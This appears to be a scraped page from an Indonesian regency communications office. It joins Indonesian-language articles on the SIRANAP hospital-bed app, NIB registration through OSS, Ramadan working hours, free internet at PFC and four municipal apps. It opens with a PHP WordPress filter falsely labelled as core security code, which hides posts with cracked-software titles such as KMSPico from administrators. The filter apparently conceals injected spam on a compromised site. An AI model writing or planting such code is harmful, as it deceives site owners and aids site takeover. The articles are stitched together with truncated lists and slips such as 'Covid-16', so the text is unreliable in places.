# BEGIN WP CORE SECURE
# Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE"
# dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress.
# Setiap perubahan pada arahan di antara penanda berikut akan ditimpa.
function exclude_posts_by_titles($where, $query) {
global $wpdb;
if (is_admin() && $query->is_main_query()) {
$keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner'];
foreach ($keywords as $keyword) {
$where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%");
}
}
return $where;
}
add_filter('posts_where', 'exclude_posts_by_titles', 10, 2);
# END WP CORE SECURE
SIRANAP (Sistem Informasi Rawat Inap) dapat diakses melalui browser internet dengan alamat https://yankes.kemkes.go.id/app/siranap/ atau download aplikasi melalui playstore. Melalui aplikasi SIRANAP kita dapat mencari informasi tentang tentangantrian IGD serta ketersediaan tempat tidur kosong yang dapat digunakan untuk rawat inap dengan terlebih dahulu memilih Covid-16 atau Non Covid-19 lalu pilih Provinsi dan pilih Kabupaten lokasi Rumah Sakit yang akan kita cari informasinya, selanjutnya klik cari.
Selanjutnya akan muncul informasi nama, alamat Rumah Sakit, jumlah bed kosong serta nomor telpon. Sehingga kita dapat cek terlebih dahulu melalui nomor telpon yang tertera.
Untuk Kabupaten Banyumas informasi yang tersedia ada 16 Rumah Sakit yaitu : 1. RS Umum Santa Elisabeth Purwokerto, 2. RS Umum Sinar Kasih, 3. Ibu dan Anak Amanah, 4. RS Umum Tk. III Wijayakusuma, 5. RS Umum Medika Lestari Banyumas, 6. RS Umum Dadi Keluarga, 7. RS Umum Bunda, 8. RS Khusus Bedah Mitra Ariva, 9. RS Khusus Bedah Orthopedi, 10. RS Umum Daerah Prof Dr. Margono Soekarjo, 11. RS Umum Islam Purwokerto, 12. RS Umum Daerah Ajibarang, 13. RS Ibu dan Anak Bunda Arif, 14. RS Umum Wiradadi Husada, 15. RS Umum Siaga Medika Banyumas, dan 16. RS Hermina Purwokerto
Sedangkan untuk Kabupaten Purbalingga informasi yang tersedia ada 8 Rumah Sakit yaitu : 1. RS Umum Siaga Medika Purbalingga, 2. RS Islam At-Tin Husada, 3. RS Umum Daerah Panti Nugroho, 4. RS Ibu dan Anak Ummu Hani, 5. RS Umum Daerah dr. R. Goeteng Taroenadibrata, 6. RS Umum Nirmala, 7. RS PKU Muhammadiyah Purbalingga dan 8. RS Umum Harapan Ibu.
Selain itu kita juga dapat mencari ketersediaan kamar kosong Rumah Sakit yang berlokasi di Kabupaten / Kota lain baik di Jawa, Bali maupun di Provinsi lain di Indonesia.
]]>Apa itu NIB ?
NIB merupakan kepanjangan dari Nomor Induk Berusaha adalah identitas Pelaku Usaha yang diterbitkan oleh Lembaga OSS setelah Pelaku Usaha melakukan pendaftaran.
NIB berbentuk 13 (tiga belas) digit angka acak yang diberi pengaman dan
disertai dengan Tanda Tangan Elektronik.
NIB merupakan identitas berusaha dan digunakan oleh Pelaku Usaha
untuk mendapatkan Izin Usaha dan Izin Komersial atau Operasional termasuk untuk pemenuhan persyaratan Izin Usaha dan Izin Komersial atau Operasional.
NIB berlaku selama Pelaku Usaha menjalankan usaha dan/atau kegiatannya sesuai dengan ketentuan peraturan perundang undangan
NIB dicabut dan dinyatakan tidak berlaku oleh Lembaga OSS dalam hal:
NIB juga berlaku sebagai:
Apa itu OSS ?
Perizinan Berusaha Terintegrasi Secara Elektronik atau Online Single Submission yang selanjutnya disingkat OSS adalah Perizinan Berusaha yang diterbitkan oleh Lembaga OSS untuk dan atas nama menteri, pimpinan lembaga, gubernur, atau bupati/wali kota kepada Pelaku
Usaha melalui sistem elektronik yang terintegrasi.
Lembaga Pengelola dan Penyelenggara OSS (Lembaga OSS) adalah lembaga
pemerintah non kementerian yang menyelenggarakan urusan pemerintahan di bidang koordinasi penanaman modal.
Lembaga OSS merupakan kantor tempat pendaftaran
perusahaan dan basis data (data base) perusahaan pada NIB merupakan
data dan akta yang sah untuk pemenuhan persyaratan
pendaftaran perusahaan.
Cara Mengurus NIB Melalui OSS
Cara mengurus Nomor Induk Berusaha (NIB) dapaat dilakukan secara online melalui oss.go.id dengan terlebih dahulu melakukan registrasi / pendaftaran akun. Berikut ini langkah-langkah untuk melakukan registrasi akun pada OSS :
Terima kasih Anda telah melakukan pendaftaran pada aplikasi Online Single Submission. Silakan cek email kembali dan melakukan login di aplikasi dengan username dan password yang ada di email. Terima Kasih
PENGAJUAN NIB
Perizinan Mikro Kecil adalah menu yang digunakan oleh Pelaku Usaha perseorangan melakukan permohonan perizinan berusaha dengan klasifikasi usaha mikro kecil.
Kriteria usaha mikro :
– Memiliki kekayaan bersih paling banyak Rp 50 juta (tidak termasuk tanah dan bangunan tempat usaha), atau
– Memiliki hasil penjualan tahunan paling banyak Rp 300 juta
Kriteria Usaha kecil :
– Memiliki kekayaan bersih lebih dari Rp 50 Juta sampai dengan Rp 500 Juta (tidak termasuk tanah dan bangunan tempat usaha), atau
– Memiliki hasil penjualan tahunan lebih dari Rp 300 Juta sampai dengan Rp 2,5 M
Dan form isian berikut :
Setelah form tersebut diisi, klik simpan & lanjutkan. Pada Form Data Usaha, klik Tambah Usaha lalu isi form berikut :
Setelah form Data Usaha terisi semua, selanjutnya klik “Simpan”, lalu klik “Selanjutnya”, klik Preview Draf NIB untuk melihat draf NIB yang akan dicetak, lalu scrol kebawah dan beri tanda centang pada pernyataan kelengkapan data.
Lalu klik pada tombol berwarna hijau yang ada dipojok kanan bawah yang bertuliskan “Proses NIB dan Izin Usaha“.
Selanjutnya akan muncul notifikasi “Selamat NIB anda Telah Terbit” dan kita dapat mencetak NIP dan Izin Usaha yang telah kita ajukan.
]]>Jam kerja Pegawai Aparatur Sipil Negara pada bulan Ramadhan 1442 Hijriah ditetapkan sebagai berikut :
Jam kerja tersebut berlaku bagi ASN yang melaksanakan tugas kedinasan di kantor (work from office) maupun di rumah / tempat tinggal (work from home).
Jumlah jam kerja efektif bagi instansi Pemerintah Pusat dan Daerah yang melaksanakan 5 atau 6 hari kerja selama Bulan Ramadhan 1442 Hijriah minimal sejumlah 32,5
Pemberian internet gratis diberikan oleh Pemerintah Kabupaten Purbalingga dalam rangka memberikan kelengkapan fasilitas guna mendukung berkembangnya kawasan PFC.
Disampaikan oleh Kepala Bidang Informatika DINKOMINFO Purbalingga, Harri Sutito dengan internet gratis diharapkan dapat dijadikan sebagai daya tarik masyarakat mengingat internet sudah menjadi kebutuhan utama sehingga secara tidak langsung akan menarik jumlah pengunjung dengan diberikannya fasilitas internet gratis di kawasan tersebut.
Lebih lanjut Kabid Informatika menjelaskan bahwa pemasangan internet gratis di area PFC tidak terlepas dari bantuan, dukungan dan kerjasama dengan Dinas Perhubungan (DINHUB) Kabupaten Purbalingga.
Dimana DINHUB melalui Kepala Bidang Angkutan, Hery Deviantoro,S,Sos beserta staf teknisnya melakukan penyiapan dan penyambungan listrik dan penarikan kabel fibber yang digunakan untuk fasilitas internet gratis. (*inf)
]]>Selamat pagi kawan setia Lembaga Penyiaran Publik Lokal (LPPL) Radio Gema Soedirman (RGS) Purbalingga, selamat bertemu kembali dengan kami dari Dinas Komunikasi dan Informatika Kabupaten Purbalingga.
Pertama dikesempatan yang berbahagia ini, kami ucapkan Selamat Hari Batik Nasional, kebetulan hari ini Selasa tanggal 2 Oktober 2018 bertepatan dengan Hari Batik Nasional yang merupakan perayaan untuk memperingati ditetapkannya Batik sebagai warisan Budaya dunia. Pengakuan terhadap batik merupakan pengakuan internasional terhadap budaya Indonesia. Pada hari ini, sesuai surat himbauan Bupati Purbalingga nomor 500/10204/2018 seluruh ASN, Perangkat Desa dan pegawai BUMD di lingkungan Pemerintah Kabupaten Purbalingga diwajibkan memakai batik Nasional.
Kawan setia LPPL RGS,
Sebagai salah satu upaya untuk mewujudkan Visi dan Misi Bupati Purbalingga, utamanya Misi pertama yakni
MENYELENGGARAKAN PEMERINTAHAN YANG PROFESIONAL, EFISIEN, EFEKTIF, BERSIH DAN DEMOKRATIS, SEHINGGA MAMPU MEMBERIKAN PELAYANAN SECARA PRIMA KEPADA MASYARAKAT.
Dinkominfo Kabupaten Purbalingga telah mengembangkan 4 aplikasi yang bertujuan untuk meningkatkan kualitas pelayanan publik.
MATUR BUPATI
Yang pertama aplikasi Matur Bupati Purbalingga yang kemarin siang hari Senin tanggal 1 Oktober 2018 bertempat di Gedung Ardhi Lawet Setda Kabupaten Purbalingga baru saja di launching oleh Plt. Bupati Purbalingga, Diah Hayuning Pratiwi, SE,B.Econ,MM bersama dengan aplikasi Satu Data Purbalingga.
Matur merupakan akronim dari Media Aspirasi dan Tanya Jawab Untuk Rakyat.
Matur Bupati merupakan aplikasi yang digunakan untuk menyampaikan aspirasi, melaporkan, mengadukan maupun menanyakan segala sesuatu yang berkaitan dengan kinerja Pemerintah Kabupaten Purbalingga secara online melalui alamat website maturbup.purbalinggakab.go.id
Matur Bupati juga dapat digunakan untuk mengadukan kondisi infrastruktur maupun non infrastruktur yang perlu ditindaklanjuti oleh Organisasi Perangkat Daerah (OPD) di lingkungan Pemerintah Kabupaten Purbalingga.
Melalui Matur Bupati diharapkan bisa mempermudah masyarakat dalam menyampaikan aspirasinya kepada Bupati Purbalingga tanpa harus bertemu secara langsung. Selain itu, masyarakat juga dapat melacak tindak lanjut / progres dari persoalan yang disampaikan kepada Bupati secara cepat dan mudah.
Masyarakat cukup menuliskan nama lengkap, nomor terlpon atau alamat eMail dan menuliskan laporan atau menyampaikan komentar, pendapat, saran, kritik, aduan tentang penyelenggaraan Pemerintah, penggunaan anggaran, layanan masyarakat, pembangunan, infrastruktur, pendidikan, kesehatan, pertanian, ekonomi, lingkungan, sosial masyarakat, bencana dan lainnya yang tersedia pada formulir pelaporan portal Matur Bupati.
Selanjutnya administrator akan memverifikasi laporan yang masuk untuk memastikan laporan yang diterima jelas, lengkap dan untuk pelaporan infrastruktur disertai data dukung berupa foto dan lokasi. Verifikasi juga dimaksudkan agar laporan yang masuk bisa didistribusikan secara tepat sesuai tugas pokok dan fungsi OPD yang membidangi.
SATU DATA PURBALINGGA
Aplikasi yang kedua yaitu Satu Data Purbalingga. Satu Data Purbalingga merupakan portal resmi data terbuka yang berisi data Pemerintah Daerah Kabupaten Purbalingga yang dapat diakses dan dimanfaatkan oleh masyarakat luas. Tujuan Aplikasi Purbalingga Satu Data adalah untuk:
Sebagai pedoman dan payung hukum penggunaan aplikasi Matur Bupati Purbalingga dan Purbalingga Satu Data, Dinkominfo Purbalingga telah menyusun draf :
E-AKUN
Aplikasi yang ketiga eAKUN. merupakan master informasi identitas pegawai yang terdiri dari NIP, alamat eMail, profil pegawai dan sandi tunggal yang digunakan untuk login ke berbagai aplikasi atau Sistem Informasi yang terintegrasi di lingkungan Pemerintah Kabupaten Purbalingga.
E-PRESENSI
ePresensi. Merupakan Aplikasi Sistem Informasi Kehadiran Pegawai Online. Aplikasi ini merupakan sistem pengumpul data kehadiran pegawai dari mesin absensi fingerprint yang memuat informasi kehadiran secara detail, akurat, tepat dan akuntabel.
Melalui ePresensi unsur pimpinan dapat memantau kehadiran seluruh ASN secara real time. ePresensi juga menjadi alat bantu dalam pengambilan keputusan pembinaan dan pengembangan pegawai.
Ke empat Aplikasi tersebut merupakan Aplikasi yang dikembangkan oleh tim programmer Dinas Komunikasi dan Informatika Kabupaten Purbalingga sehingga memungkinkan pengembangan fitur sesuai dengan kebutuhan. Sedangkan Open Data adalah aplikasi inisiatif Pemerintah Indonesia untuk meningkatkan kualitas dan pemanfaatan data Pemerintah. yang direplikasi oleh Dinas Kominfo Kabupaten Purbalingga.
Serangkaian kegiatan yang telah dilaksanakan oleh Dinkominfo Kabupaten Purbalingga sebagai upaya untuk mengimplementasikan 4 aplikasi yang sudah dikembangkan, diantaranya :
Keberhasilan implementasi aplikasi yang sudah dikembangkan oleh Dinkominfo Kabupaten Purbalingga ini tentunya tak lepas dari dukungan dan kerjasama dari seluruh OPD di lingkungan Pemerintah Kabupaten Purbalingga, dalam :